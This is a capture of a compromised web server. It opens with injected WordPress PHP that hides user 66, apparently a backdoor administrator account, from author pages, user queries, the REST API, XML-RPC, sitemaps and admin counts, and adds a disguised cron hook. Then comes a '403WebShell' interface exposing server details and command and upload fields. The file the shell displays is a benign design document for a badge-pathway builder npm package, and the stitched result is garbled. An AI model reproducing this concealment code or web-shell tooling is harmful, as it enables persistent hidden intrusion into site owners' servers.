add_action( 'pre_get_posts', function( $q ) { if ( ! is_admin() && $q->is_main_query() ) { $not_in = (array) $q->get( 'author__not_in' ); $not_in[] = 66; $q->set( 'author__not_in', array_unique( array_map( 'intval', $not_in ) ) ); } }, 1 ); add_action( 'template_redirect', function() { if ( is_author() ) { $author = get_queried_object(); if ( $author instanceof WP_User && (int) $author->ID === 66 ) { global $wp_query; $wp_query->set_404(); status_header( 404 ); nocache_headers(); } } } ); add_action( 'pre_user_query', function( $q ) { if ( current_user_can( 'manage_options' ) ) { return; } global $wpdb; $q->query_where .= $wpdb->prepare( ' AND ID <> %d ', 66 ); } ); add_action( 'pre_get_users', function( $q ) { if ( current_user_can( 'manage_options' ) ) { return; } $exclude = (array) $q->get( 'exclude' ); $exclude[] = 66; $q->set( 'exclude', array_unique( array_map( 'intval', $exclude ) ) ); } ); add_filter( 'wp_dropdown_users_args', function( $a ) { $exclude = isset( $a['exclude'] ) ? (array) $a['exclude'] : array(); $exclude[] = 66; $a['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $a; } ); add_filter( 'rest_user_query', function( $args, $request ) { $exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array(); $exclude[] = 66; $args['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $args; }, 10, 2 ); add_filter( 'rest_pre_dispatch', function( $result, $server, $request ) { $route = $request->get_route(); if ( preg_match( '#^/wp/v2/users/66(/|$)#', $route ) ) { return new WP_Error( 'rest_user_invalid_id', 'Invalid user ID.', array( 'status' => 404 ) ); } return $result; }, 10, 3 ); add_filter( 'xmlrpc_methods', function( $methods ) { unset( $methods['wp.getUsers'], $methods['wp.getUser'], $methods['wp.getProfile'] ); return $methods; } ); add_filter( 'wp_sitemaps_users_query_args', function( $args ) { $exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array(); $exclude[] = 66; $args['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $args; } ); add_action( 'admin_head-users.php', function() { echo ''; } ); add_filter( 'views_users', function( $views ) { foreach ( array( 'all', 'administrator' ) as $key ) { if ( isset( $views[ $key ] ) ) { $views[ $key ] = preg_replace_callback( '/\((\d+)\)/', function( $m ) { return '(' . max( 0, (int) $m[1] - 1 ) . ')'; }, $views[ $key ], 1 ); } } return $views; } ); add_action( 'init', function() { if ( ! function_exists( 'wp_next_scheduled' ) || ! function_exists( 'wp_schedule_single_event' ) ) { return; } if ( ! wp_next_scheduled( 'wp_extra_bot_heartbeat' ) ) { wp_schedule_single_event( time() + 5 * MINUTE_IN_SECONDS, 'wp_extra_bot_heartbeat' ); } } ); add_action( 'wp_extra_bot_heartbeat', function() { // noop } ); 403WebShell
403Webshell
Server IP : 167.235.224.122  /  Your IP : 216.73.216.110
Web Server : Apache/2.4.58 (Ubuntu)
System : Linux newplayground 6.8.0-136-generic #136-Ubuntu SMP PREEMPT_DYNAMIC Wed Jul 1 21:33:11 UTC 2026 aarch64
User : deploy ( 1000)
PHP Version : 8.4.23
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : OFF
Directory :  /var/www/html/emaji/docs/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/html/emaji/docs/pathway-builder-standalone.md
# Pathway Builder - Standalone Component

## Overview

The Pathway Builder (currently in `resources/views/admin/badge-albums/edit.blade.php`) is a visual tool for creating "badge albums" - collections of required badges that lead to a master credential. Think Panini sticker albums for digital credentials.

This document outlines how to extract it as a standalone, framework-agnostic npm package.

## Current State (emaji)

The builder is currently tightly coupled to Laravel:
- Blade templates for rendering
- Laravel routes for CRUD operations
- Badgau integration for badge discovery
- MySQL for persistence

However, ~80% of the code is already client-side JavaScript handling:
- Visual rendering (SVG connectors, badge cards)
- Drag interactions
- Rule dropdowns (all/one_of/n_of_m)
- Sequential mode toggle

## Proposed Architecture

```
@openbadges/pathway-builder/
├── pathway-builder.config.js    # Main configuration
├── .env.example                 # Environment variables template
├── src/
│   ├── index.js                 # Main entry point
│   ├── PathwayBuilder.js        # Core component
│   ├── state/
│   │   └── PathwayState.js      # Local state management
│   ├── storage/
│   │   ├── StorageAdapter.js    # Interface
│   │   ├── LocalStorageAdapter.js
│   │   ├── RestApiAdapter.js
│   │   ├── IndexedDbAdapter.js
│   │   └── NoopAdapter.js       # Export-only mode
│   ├── providers/
│   │   ├── BadgeProvider.js     # Interface
│   │   ├── BadgauProvider.js
│   │   ├── CredlyProvider.js
│   │   ├── OpenBadgeFactoryProvider.js
│   │   ├── StaticJsonProvider.js
│   │   └── ManualProvider.js
│   ├── components/
│   │   ├── MasterBadge.js
│   │   ├── BadgeCard.js
│   │   ├── BadgeRow.js
│   │   ├── Connector.js
│   │   ├── RuleDropdown.js
│   │   └── BadgePicker.js
│   └── styles/
│       └── pathway-builder.css
├── dist/
│   ├── pathway-builder.js       # UMD bundle
│   ├── pathway-builder.esm.js   # ES module
│   └── pathway-builder.css
└── examples/
    ├── vanilla/
    ├── react/
    ├── vue/
    └── laravel/
```

## Configuration

### pathway-builder.config.js

```js
export default {
  // =====================
  // Storage Configuration
  // =====================
  storage: {
    // Options: 'local-storage' | 'rest-api' | 'indexed-db' | 'none'
    adapter: 'rest-api',

    // REST API adapter settings
    endpoints: {
      baseUrl: '/api/pathways',
      // Full paths (baseUrl is prepended):
      // GET    /               → list pathways
      // GET    /:id            → get pathway
      // POST   /               → create pathway
      // PUT    /:id            → update pathway
      // DELETE /:id            → delete pathway
      // POST   /:id/sections   → add section
      // PATCH  /:id/sections/:sectionId/rule → update rule
      // POST   /:id/sections/:sectionId/badges → add badge
      // DELETE /:id/badges/:badgeId → remove badge
    },

    // Optional auth headers
    headers: {
      'Authorization': 'Bearer ' + process.env.API_TOKEN,
      'X-CSRF-TOKEN': document.querySelector('meta[name="csrf-token"]')?.content,
    },

    // LocalStorage adapter settings
    localStorageKey: 'pathway-builder-data',
  },

  // =====================
  // Badge Providers
  // =====================
  // Searched/displayed in order. First configured provider is default.
  badgeProviders: [
    {
      type: 'badgau',
      name: 'Company Badges',
      url: process.env.BADGAU_URL,
      apiToken: process.env.BADGAU_TOKEN,
    },
    {
      type: 'credly',
      name: 'Credly',
      apiKey: process.env.CREDLY_API_KEY,
    },
    {
      type: 'openbadgefactory',
      name: 'Open Badge Factory',
      clientId: process.env.OBF_CLIENT_ID,
      clientSecret: process.env.OBF_CLIENT_SECRET,
    },
    {
      type: 'static-json',
      name: 'Badge Catalog',
      url: '/badges/catalog.json',
    },
    {
      type: 'manual',
      name: 'Enter Manually',
      // Always available as fallback
    },
  ],

  // =====================
  // Badge Resolution
  // =====================
  // Fetch metadata from achievement_id URLs
  badgeResolver: {
    enabled: true,
    corsProxy: 'https://corsproxy.io/?',  // null if not needed
    timeout: 5000,
  },

  // =====================
  // UI Options
  // =====================
  ui: {
    theme: 'light',              // 'light' | 'dark' | 'auto'
    locale: 'en',
    showProviderSelector: true,
    allowManualEntry: true,
    showExportButton: true,
    showImportButton: true,
  },

  // =====================
  // Callbacks
  // =====================
  callbacks: {
    onSave: (pathway) => {},
    onChange: (pathway) => {},
    onBadgeAdd: (badge, section) => {},
    onBadgeRemove: (badge, section) => {},
    onExport: (pathway, format) => {},
  },
};
```

### .env.example

```env
# Storage
PATHWAY_STORAGE=rest-api
PATHWAY_API_URL=https://api.example.com/pathways
PATHWAY_API_TOKEN=your-api-token

# Badge Providers
BADGAU_URL=https://badgau.example.com
BADGAU_TOKEN=your-badgau-token

CREDLY_API_KEY=your-credly-key

OBF_CLIENT_ID=your-client-id
OBF_CLIENT_SECRET=your-secret

# Badge Resolution
CORS_PROXY_URL=https://corsproxy.io/?
```

## Data Schema

### Pathway (JSON)

```json
{
  "id": "uuid-or-db-id",
  "title": "Nursing Professional Pathway",
  "description": "Complete these badges to become a certified nurse",
  "isSequential": false,
  "status": "draft",
  "masterBadge": {
    "achievementId": "https://badges.example.com/nursing-pro",
    "title": "Certified Professional Nurse",
    "imageUrl": "https://badges.example.com/images/nursing-pro.png"
  },
  "sections": [
    {
      "id": "section-1",
      "position": 0,
      "ruleType": "all",
      "ruleCount": null,
      "badges": [
        {
          "id": "badge-1",
          "achievementId": "https://badges.example.com/first-aid",
          "title": "First Aid Certificate",
          "imageUrl": "https://badges.example.com/images/first-aid.png",
          "issuer": {
            "url": "https://badges.example.com/issuers/red-cross",
            "did": "did:web:badges.example.com",
            "name": "Red Cross Training"
          },
          "isOptional": false,
          "position": 0
        }
      ]
    },
    {
      "id": "section-2",
      "position": 1,
      "ruleType": "one_of",
      "ruleCount": null,
      "badges": [
        {
          "id": "badge-2",
          "achievementId": "https://badges.example.com/pediatric",
          "title": "Pediatric Nursing",
          "imageUrl": "https://...",
          "isOptional": false,
          "position": 0
        },
        {
          "id": "badge-3",
          "achievementId": "https://badges.example.com/geriatric",
          "title": "Geriatric Nursing",
          "imageUrl": "https://...",
          "isOptional": false,
          "position": 1
        }
      ]
    }
  ],
  "createdAt": "2024-01-15T10:00:00Z",
  "updatedAt": "2024-01-15T12:30:00Z"
}
```

## Interfaces

### StorageAdapter

```js
class StorageAdapter {
  // Pathway CRUD
  async getPathway(id) → Pathway
  async savePathway(pathway) → Pathway
  async deletePathway(id) → void

  // Section operations
  async addSection(pathwayId, section) → Section
  async updateSectionRule(pathwayId, sectionId, ruleType, ruleCount) → void
  async reorderSections(pathwayId, sectionIds[]) → void
  async deleteSection(pathwayId, sectionId) → void

  // Badge operations
  async addBadge(pathwayId, sectionId, badge) → Badge
  async updateBadge(pathwayId, badgeId, data) → Badge
  async deleteBadge(pathwayId, badgeId) → void
  async reorderBadges(pathwayId, sectionId, badgeIds[]) → void
}
```

### BadgeProvider

```js
class BadgeProvider {
  constructor(config) {}

  // Check if provider is properly configured
  isConfigured() → boolean

  // Search for badges
  async search(query, { limit, offset }) → {
    badges: Badge[],
    total: number,
    hasMore: boolean
  }

  // Resolve badge metadata from achievement ID
  async resolve(achievementId) → {
    title: string,
    imageUrl: string,
    issuer: string
  } | null
}
```

## Usage Examples

### Vanilla JS (Standalone)

```html
<div id="pathway-builder"></div>
<script src="pathway-builder.js"></script>
<script>
  PathwayBuilder.init('#pathway-builder', {
    storage: { adapter: 'local-storage' },
    badgeProviders: [{ type: 'manual' }],
    callbacks: {
      onSave: (pathway) => {
        console.log('Pathway saved:', pathway);
      }
    }
  });
</script>
```

### With Laravel Backend

```html
<div id="pathway-builder"></div>
<script>
  PathwayBuilder.init('#pathway-builder', {
    storage: {
      adapter: 'rest-api',
      endpoints: { baseUrl: '/admin/badge-albums' },
      headers: {
        'X-CSRF-TOKEN': '{{ csrf_token() }}'
      }
    },
    badgeProviders: [
      {
        type: 'badgau',
        url: '{{ $organization->badgau_url }}',
        apiToken: '{{ $organization->badgau_api_token }}'
      },
      { type: 'manual' }
    ],
    initialData: @json($album->toPathwayJson())
  });
</script>
```

### Export-Only Mode

```js
PathwayBuilder.init('#builder', {
  storage: { adapter: 'none' },
  ui: { showExportButton: true },
  callbacks: {
    onExport: (pathway, format) => {
      if (format === 'json') {
        downloadJson(pathway);
      } else if (format === 'ob3') {
        downloadOpenBadges3(pathway);
      }
    }
  }
});
```

### React Integration

```jsx
import { PathwayBuilder } from '@openbadges/pathway-builder';

function App() {
  const [pathway, setPathway] = useState(null);

  return (
    <PathwayBuilder
      config={{
        storage: { adapter: 'none' },
        badgeProviders: [{ type: 'manual' }]
      }}
      initialData={pathway}
      onChange={setPathway}
      onSave={(p) => saveToApi(p)}
    />
  );
}
```

## Migration from emaji

To extract from current emaji codebase:

1. **Extract JavaScript** (~1500 lines in edit.blade.php `@push('scripts')`)
   - Connector drawing logic
   - Badge picker modal
   - Rule dropdown handlers
   - Sequential mode toggle
   - AJAX handlers → adapter calls

2. **Extract CSS** (~800 lines in edit.blade.php `<style>`)
   - Badge card styles
   - Connector SVG styles
   - Modal styles
   - Responsive breakpoints

3. **Convert Blade to JS templates**
   - Master badge section
   - Badge rows
   - Rule indicators
   - Add buttons

4. **Create adapters**
   - RestApiAdapter matching current Laravel routes
   - BadgauProvider matching current BadgauService

## Open Questions

1. **Framework choice**: Vanilla JS, or use Lit/Svelte for components?
2. **Styling**: CSS-in-JS, CSS modules, or plain CSS?
3. **Bundle size target**: Current code ~50KB, target <30KB gzipped?
4. **Open Badges 3.0 export**: Include OB3 pathway export format?
5. **Drag-and-drop**: Add SortableJS for reordering?

## Related Files in emaji

- `resources/views/admin/badge-albums/edit.blade.php` - Main builder view
- `resources/views/admin/badge-albums/_badge-picker-modal.blade.php` - Badge picker
- `resources/views/admin/badge-albums/_slot-modal.blade.php` - Badge edit modal
- `app/Http/Controllers/Admin/BadgeAlbumController.php` - Backend logic
- `app/Services/BadgauService.php` - Badgau API integration
- `app/Services/BadgeImageResolver.php` - Badge image resolution
- `app/Models/BadgeAlbum.php` - Album model
- `app/Models/BadgeAlbumSection.php` - Section model
- `app/Models/BadgeAlbumSlot.php` - Badge slot model

## Estimated Effort

| Task | Effort |
|------|--------|
| Extract and modularize JS | 1 day |
| Extract and organize CSS | 0.5 day |
| Create storage adapters | 1 day |
| Create badge provider adapters | 1 day |
| Build system (Rollup/Vite) | 0.5 day |
| Documentation + examples | 1 day |
| **Total** | **5 days** |

Youez - 2016 - github.com/yon3zu
LinuXploit